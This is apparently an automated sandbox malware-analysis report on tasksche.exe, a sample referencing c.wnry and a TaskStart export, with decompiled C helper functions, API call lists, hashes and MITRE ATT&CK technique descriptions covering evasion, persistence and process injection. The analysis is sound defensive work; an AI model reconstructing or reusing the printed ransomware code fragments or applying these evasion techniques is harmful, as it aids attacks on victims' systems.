_CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,00000001), ref: 00403AA0
memcpy.MSVCRT(?,?,?,?,?,?,?,?), ref: 00403B00
memcpy.MSVCRT(?,?,?,?,?,?,?,?), ref: 00403B68
??0exception@@QAE@ABQBD@Z.MSVCRT(0040F574,?,?,?,?,?,00000001), ref: 00403BC2
_CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,00000001), ref: 00403BD1

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: ??0exception@@ExceptionThrowmemcpy
String ID:
API String ID: 2382887404-0
Opcode ID: 8f0cb0103d3614fdc28d84a5f541c19cbd02f6e6265a1098423f4cf3f0921468
Instruction ID: 9805a50700f74263afb1320d00d27f30e93ca80038ec105a2d2f515762341bf2
Opcode Fuzzy Hash: 8f0cb0103d3614fdc28d84a5f541c19cbd02f6e6265a1098423f4cf3f0921468
Instruction Fuzzy Hash: 8541C870B40206ABDB14DE65DD81D9B77BEEB84309B00443FF815B3281D778AB15C759

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT(c.wnry,0040E018), ref: 0040101B
fread.MSVCRT(?,0000030C,00000001,00000000), ref: 0040103F
fwrite.MSVCRT(?,0000030C,00000001,00000000), ref: 00401047
fclose.MSVCRT(00000000), ref: 00401058

Strings

c.wnry, xrefs: 00401016

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: fclosefopenfreadfwrite
String ID: c.wnry
API String ID: 4000964834-3240288721
Opcode ID: 83356dae967f3845aa64eafaf8b7e6f79fd4dc7784855bee587f11601882f661
Instruction ID: 4fc4ee2583eead98f325da0eb4a8e2a7a7827d82b7f69226d67b1691b23a23d5
Opcode Fuzzy Hash: 83356dae967f3845aa64eafaf8b7e6f79fd4dc7784855bee587f11601882f661
Instruction Fuzzy Hash: 0CF05931204260ABCA301F656D4AA277B10DBC4F61F10083FF1C1F40E2CABD44C296BE

Uniqueness

Uniqueness Score: -1.00%

Function 004018F9 Relevance: 7.6, APIs: 5, Instructions: 79
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E004018F9(intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				struct _OVERLAPPED* _v8;
				char _v20;
				long _v32;
				struct _OVERLAPPED* _v36;
				long _v40;
				signed int _v44;
				void* _t18;
				void* _t28;
				long _t34;
				intOrPtr _t38;

				_push(0xffffffff);
				_push(0x4081f0);
				_push(0x4076f4);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t38;
				_v44 = _v44 | 0xffffffff;
				_v32 = 0;
				_v36 = 0;
				_v8 = 0;
				_t18 = CreateFileA(_a12, 0x80000000, 1, 0, 3, 0, 0);
				_v44 = _t18;
				if(_t18 != 0xffffffff) {
					_t34 = GetFileSize(_t18, 0);
					_v40 = _t34;
					if(_t34 != 0xffffffff && _t34 <= 0x19000) {
						_t28 = GlobalAlloc(0, _t34);
						_v36 = _t28;
						if(_t28 != 0 && ReadFile(_v44, _t28, _t34,  &_v32, 0) != 0) {
							_push(_a8);
							_push(0);
							_push(0);
							_push(_v32);
							_push(_t28);
							_push(_a4);
							if( *0x40f898() != 0) {
								_push(1);
								_pop(0);
							}
						}
					}
				}
				_push(0xffffffff);
				_push( &_v20);
				L004076FA();
				 *[fs:0x0] = _v20;
				return 0;
			}

0x004018fc
0x004018fe
0x00401903
0x0040190e
0x0040190f
0x0040191c
0x00401922
0x00401925
0x00401928
0x0040193a
0x00401940
0x00401946
0x00401950
0x00401952
0x00401958
0x0040196a
0x0040196c
0x00401971
0x00401987
0x0040198a
0x0040198b
0x0040198c
0x0040198f
0x00401990
0x0040199b
0x0040199d
0x0040199f
0x0040199f
0x0040199b
0x00401971
0x00401958
0x004019a0
0x004019a5
0x004019a6
0x004019d5
0x004019e0

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 0040193A
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 0040194A
GlobalAlloc.KERNEL32(00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 00401964
ReadFile.KERNEL32(000000FF,00000000,00000000,?,00000000,?,?,?,?,?,?,00401448,?), ref: 0040197D
_local_unwind2.MSVCRT(?,000000FF,?,?,?,?,?,?,00401448,?), ref: 004019A6

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: File$AllocCreateGlobalReadSize_local_unwind2
String ID:
API String ID: 2811923685-0
Opcode ID: 232dc3714e51fefb2f6fb0f5b065eea7eb2b0009f41f45388587d49ab84ddf28
Instruction ID: fb063a64e2dc49fc25d010f75d45645ced701e765f932c996de96a45c5b9f027
Opcode Fuzzy Hash: 232dc3714e51fefb2f6fb0f5b065eea7eb2b0009f41f45388587d49ab84ddf28
Instruction Fuzzy Hash: B62160B1901624AFCB209B99CD48FDF7E78EB097B0F54022AF525B22E0D7785805C6AC

Uniqueness

Uniqueness Score: -1.00%

Function 00405BAE Relevance: 6.1, APIs: 4, Instructions: 93
fileCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00405BAE(CHAR* _a4, intOrPtr _a8, long _a12, void* _a16) {
				char _v5;
				char _v6;
				long _t30;
				char _t32;
				long _t34;
				void* _t46;
				intOrPtr* _t49;
				long _t50;

				_t30 = _a12;
				if(_t30 == 1 || _t30 == 2 || _t30 == 3) {
					_t49 = _a16;
					_t46 = 0;
					_v6 = 0;
					 *_t49 = 0;
					_v5 = 0;
					if(_t30 == 1) {
						_t46 = _a4;
						_v5 = 0;
						L11:
						_t30 = SetFilePointer(_t46, 0, 0, 1);
						_v6 = _t30 != 0xffffffff;
						L12:
						_push(0x20);
						L00407700();
						_t50 = _t30;
						if(_a12 == 1 || _a12 == 2) {
							 *_t50 = 1;
							 *((char*)(_t50 + 0x10)) = _v5;
							_t32 = _v6;
							 *((char*)(_t50 + 1)) = _t32;
							 *(_t50 + 4) = _t46;
							 *((char*)(_t50 + 8)) = 0;
							 *((intOrPtr*)(_t50 + 0xc)) = 0;
							if(_t32 != 0) {
								 *((intOrPtr*)(_t50 + 0xc)) = SetFilePointer(_t46, 0, 0, 1);
							}
						} else {
							 *_t50 = 0;
							 *((intOrPtr*)(_t50 + 0x14)) = _a4;
							 *((char*)(_t50 + 1)) = 1;
							 *((char*)(_t50 + 0x10)) = 0;
							 *((intOrPtr*)(_t50 + 0x18)) = _a8;
							 *((intOrPtr*)(_t50 + 0x1c)) = 0;
							 *((intOrPtr*)(_t50 + 0xc)) = 0;
						}
						 *_a16 = 0;
						_t34 = _t50;
						goto L18;
					}
					if(_t30 != 2) {
						goto L12;
					}
					_t46 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0x80, 0);
					if(_t46 != 0xffffffff) {
						_v5 = 1;
						goto L11;
					}
					 *_t49 = 0x200;
					goto L8;
				} else {
					 *_a16 = 0x10000;
					L8:
					_t34 = 0;
					L18:
					return _t34;
				}
			}

0x00405bb2
0x00405bbb
0x00405bd2
0x00405bd7
0x00405bdc
0x00405bdf
0x00405be1
0x00405be4
0x00405c18
0x00405c1b
0x00405c24
0x00405c29
0x00405c32
0x00405c36
0x00405c36
0x00405c38
0x00405c42
0x00405c44
0x00405c6c
0x00405c6f
0x00405c72
0x00405c77
0x00405c7a
0x00405c7d
0x00405c80
0x00405c83
0x00405c90
0x00405c90
0x00405c4c
0x00405c4f
0x00405c51
0x00405c57
0x00405c5b
0x00405c5e
0x00405c61
0x00405c64
0x00405c64
0x00405c96
0x00405c98
0x00000000
0x00405c98
0x00405be9
0x00000000
0x00000000
0x00405c04
0x00405c09
0x00405c20
0x00000000
0x00405c20
0x00405c0b
0x00000000
0x00405bc7
0x00405bca
0x00405c11
0x00405c11
0x00405c9a
0x00405c9e
0x00405c9e

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001), ref: 00405BFE
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA,00000000), ref: 00405C29
??2@YAPAXI@Z.MSVCRT(00000020,?,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA,00000000,004020D5,?), ref: 00405C38
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA), ref: 00405C8A

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: File$Pointer$??2@Create
String ID:
API String ID: 1331958074-0
Opcode ID: ff1e72f22e15843ade9ace39703012fff21b8a1e8b9c48cc3c9963cb15211f94
Instruction ID: 771dcc1d5a31089dd4cc2aab62cbbe5a226dda330bf0289da8f54b52fc8588cb
Opcode Fuzzy Hash: ff1e72f22e15843ade9ace39703012fff21b8a1e8b9c48cc3c9963cb15211f94
Instruction Fuzzy Hash: 0831F231008784AFDB318F28888479BBBF4EF15350F18896EF491A7380C375AD85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00402924 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00402924(intOrPtr* _a4, char _a8) {
				intOrPtr _v8;
				intOrPtr* _t26;
				intOrPtr* _t28;
				void* _t29;
				intOrPtr _t30;
				void* _t32;
				signed int _t33;
				signed int _t37;
				signed short* _t41;
				intOrPtr _t44;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				void* _t59;

				_t26 = _a4;
				_t44 =  *((intOrPtr*)(_t26 + 4));
				_t28 =  *_t26 + 0x78;
				_v8 = _t44;
				if( *((intOrPtr*)(_t28 + 4)) == 0) {
					L11:
					SetLastError(0x7f);
					_t29 = 0;
				} else {
					_t58 =  *_t28;
					_t30 =  *((intOrPtr*)(_t58 + _t44 + 0x18));
					_t59 = _t58 + _t44;
					if(_t30 == 0 ||  *((intOrPtr*)(_t59 + 0x14)) == 0) {
						goto L11;
					} else {
						_t8 =  &_a8; // 0x402150
						if( *_t8 >> 0x10 != 0) {
							_t55 =  *((intOrPtr*)(_t59 + 0x20)) + _t44;
							_t41 =  *((intOrPtr*)(_t59 + 0x24)) + _t44;
							_a4 = 0;
							if(_t30 <= 0) {
								goto L11;
							} else {
								while(1) {
									_t32 =  *_t55 + _t44;
									_t15 =  &_a8; // 0x402150
									__imp___stricmp( *_t15, _t32);
									if(_t32 == 0) {
										break;
									}
									_a4 = _a4 + 1;
									_t55 = _t55 + 4;
									_t41 =  &(_t41[1]);
									if(_a4 <  *((intOrPtr*)(_t59 + 0x18))) {
										_t44 = _v8;
										continue;
									} else {
										goto L11;
									}
									goto L12;
								}
								_t33 =  *_t41 & 0x0000ffff;
								_t44 = _v8;
								goto L14;
							}
						} else {
							_t9 =  &_a8; // 0x402150
							_t37 =  *_t9 & 0x0000ffff;
							_t49 =  *((intOrPtr*)(_t59 + 0x10));
							if(_t37 < _t49) {
								goto L11;
							} else {
								_t33 = _t37 - _t49;
								L14:
								if(_t33 >  *((intOrPtr*)(_t59 + 0x14))) {
									goto L11;
								} else {
									_t29 =  *((intOrPtr*)( *((intOrPtr*)(_t59 + 0x1c)) + _t33 * 4 + _t44)) + _t44;
								}
							}
						}
					}
				}
				L12:
				return _t29;
			}

0x00402928
0x0040292f
0x00402934
0x00402938
0x0040293e
0x004029a5
0x004029a7
0x004029ad
0x00402940
0x00402940
0x00402942
0x00402946
0x0040294a
0x00000000
0x00402951
0x00402951
0x0040295a
0x00402971
0x00402973
0x00402977
0x0040297a
0x00000000
0x0040297c
0x00402981
0x00402983
0x00402986
0x00402989
0x00402993
0x00000000
0x00000000
0x00402995
0x00402998
0x0040299f
0x004029a3
0x0040297e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004029a3
0x004029b4
0x004029b7
0x00000000
0x004029b7
0x0040295c
0x0040295c
0x0040295c
0x00402960
0x00402965
0x00000000
0x00402967
0x00402967
0x004029ba
0x004029bd
0x00000000
0x004029bf
0x004029c8
0x004029c8
0x004029bd
0x00402965
0x0040295a
0x0040294a
0x004029af
0x004029b3

APIs

_stricmp.MSVCRT(P!@,?,?,0000DDB6,?,?,?,00402150,00000000,TaskStart), ref: 00402989
SetLastError.KERNEL32(0000007F,?,0000DDB6,?,?,?,00402150,00000000,TaskStart), ref: 004029A7

Strings

P!@, xrefs: 00402951, 00402986, 0040295C

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: ErrorLast_stricmp
String ID: P!@
API String ID: 1278613211-1774101457
Opcode ID: 03c3627be8870cecb91afdd38bef801573c0f783d9791e09bb9b18ce57a97af9
Instruction ID: aaf1e2d36ba78ebe43aa6e6aad127835d86855a49192f4e92224227a9dbc2408
Opcode Fuzzy Hash: 03c3627be8870cecb91afdd38bef801573c0f783d9791e09bb9b18ce57a97af9
Instruction Fuzzy Hash: 432180B1700605EFDB14CF19DA8486A73F6EF89310B29857AE846EB381D678ED41CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00401DFE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59
stringCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00401DFE(void* __eax) {
				int _t21;
				signed int _t27;
				signed int _t29;
				void* _t34;
				void* _t36;
				void* _t38;
				void* _t40;
				void* _t41;
				void* _t43;

				_t36 = __eax;
				_t41 = _t40 + 0xc;
				if(__eax != 0) {
					 *(_t38 - 0x12c) =  *(_t38 - 0x12c) & 0x00000000;
					_t29 = 0x4a;
					memset(_t38 - 0x128, 0, _t29 << 2);
					E004075C4(_t36, 0xffffffff, _t38 - 0x12c);
					_t27 =  *(_t38 - 0x12c);
					_t43 = _t41 + 0x18;
					_t34 = 0;
					if(_t27 > 0) {
						do {
							E004075C4(_t36, _t34, _t38 - 0x12c);
							_t21 = strcmp(_t38 - 0x128, "c.wnry");
							_t43 = _t43 + 0x14;
							if(_t21 != 0 || GetFileAttributesA(_t38 - 0x128) == 0xffffffff) {
								E0040763D(_t36, _t34, _t38 - 0x128);
								_t43 = _t43 + 0xc;
							}
							_t34 = _t34 + 1;
						} while (_t34 < _t27);
					}
					E00407656(_t36);
					_push(1);
					_pop(0);
				} else {
				}
				return 0;
			}

0x00401dfe
0x00401e00
0x00401e05
0x00401e0e
0x00401e1a
0x00401e21
0x00401e2d
0x00401e32
0x00401e38
0x00401e3b
0x00401e3f
0x00401e41
0x00401e4a
0x00401e5b
0x00401e60
0x00401e65
0x00401e82
0x00401e87
0x00401e87
0x00401e8a
0x00401e8b
0x00401e41
0x00401e90
0x00401e96
0x00401e98
0x00401e07
0x00401e07
0x00401e9d

APIs

strcmp.MSVCRT(?,c.wnry,?,00000000,?), ref: 00401E5B
GetFileAttributesA.KERNEL32(?), ref: 00401E6E

Strings

c.wnry, xrefs: 00401E55

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: AttributesFilestrcmp
String ID: c.wnry
API String ID: 3324900478-3240288721
Opcode ID: cc95b26050e750b8ddedfaa82b6fbbed5bde767aecf08ad1744914d0cf1c8067
Instruction ID: 6f95607eaad4b3b0c5796a2914108af7bfa48759f01996e65d2c9759274caab0
Opcode Fuzzy Hash: cc95b26050e750b8ddedfaa82b6fbbed5bde767aecf08ad1744914d0cf1c8067
Instruction Fuzzy Hash: 3001C872D041142ADB209625DC41FEF336C9B45374F1005B7FA44F11C1E739AA998ADA

Uniqueness

Uniqueness Score: -1.00%

Function 00405C9F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00405C9F(signed int __eax, intOrPtr _a4) {
				intOrPtr _t9;

				_t9 = _a4;
				if(_t9 != 0) {
					if( *((char*)(_t9 + 0x10)) != 0) {
						CloseHandle( *(_t9 + 4));
					}
					_push(_t9);
					L004076E8();
					return 0;
				} else {
					return __eax | 0xffffffff;
				}
			}

0x00405ca0
0x00405ca6
0x00405cb1
0x00405cb6
0x00405cb6
0x00405cbc
0x00405cbd
0x00405cc6
0x00405ca8
0x00405cac
0x00405cac

APIs

CloseHandle.KERNEL32(?,$l@,00406118,$l@,?,00000000,00000000), ref: 00405CB6
??3@YAXPAX@Z.MSVCRT(00000000,$l@,00406118,$l@,?,00000000,00000000), ref: 00405CBD

Strings

$l@, xrefs: 00405C9F

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: ??3@CloseHandle
String ID: $l@
API String ID: 3816424416-2140230165
Opcode ID: 95d67fc171dea6c803f2538cd8e9bf2129e8d776d8110548eb6437a9e23f5d7b
Instruction ID: 673c02d0cae411eac5e44946f87937de45fd09569792d44698d585129e0307c2
Opcode Fuzzy Hash: 95d67fc171dea6c803f2538cd8e9bf2129e8d776d8110548eb6437a9e23f5d7b
Instruction Fuzzy Hash: 47D05E3280DE211BE7226A28B90469B2B949F01330F054A6EE4A1A25E2D7789C8596CC

Uniqueness

Uniqueness Score: -1.00%

Function 004019E1 Relevance: 5.0, APIs: 4, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E004019E1(void* __ecx, void* _a4, int _a8, void* _a12, int* _a16) {
				void* _t13;
				void* _t16;
				struct _CRITICAL_SECTION* _t19;
				void* _t20;

				_t20 = __ecx;
				if( *((intOrPtr*)(__ecx + 8)) == 0) {
					L3:
					return 0;
				}
				_t19 = __ecx + 0x10;
				EnterCriticalSection(_t19);
				_t13 =  *0x40f8a4( *((intOrPtr*)(_t20 + 8)), 0, 1, 0, _a4,  &_a8);
				_push(_t19);
				if(_t13 != 0) {
					LeaveCriticalSection();
					memcpy(_a12, _a4, _a8);
					 *_a16 = _a8;
					_t16 = 1;
					return _t16;
				}
				LeaveCriticalSection();
				goto L3;
			}

0x004019e5
0x004019ec
0x00401a19
0x00000000
0x00401a19
0x004019ee
0x004019f2
0x00401a08
0x00401a10
0x00401a11
0x00401a1d
0x00401a2c
0x00401a3a
0x00401a3e
0x00000000
0x00401a3e
0x00401a13
0x00000000

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,00401642,?,?,?,?), ref: 004019F2
LeaveCriticalSection.KERNEL32(?,?,?,00401642,?,?,?,?), ref: 00401A13
LeaveCriticalSection.KERNEL32(?,?,?,00401642,?,?,?,?), ref: 00401A1D
memcpy.MSVCRT(?,?,?,?,?,00401642,?,?,?,?), ref: 00401A2C

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$Entermemcpy
String ID:
API String ID: 3435569088-0
Opcode ID: fd5125ef58b43d2b94afe930c36afa05085028d191ff952fa05313044055aa85
Instruction ID: 582611ac2dab466912340a9d1f37a03f8b1d3421f3d1388c7c0078807ea36f1a
Opcode Fuzzy Hash: fd5125ef58b43d2b94afe930c36afa05085028d191ff952fa05313044055aa85
Instruction Fuzzy Hash: 7FF0A432200204FFEB119F90DD05FAA3769EF44710F008439F945AA1A0D7B5A854DB65

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
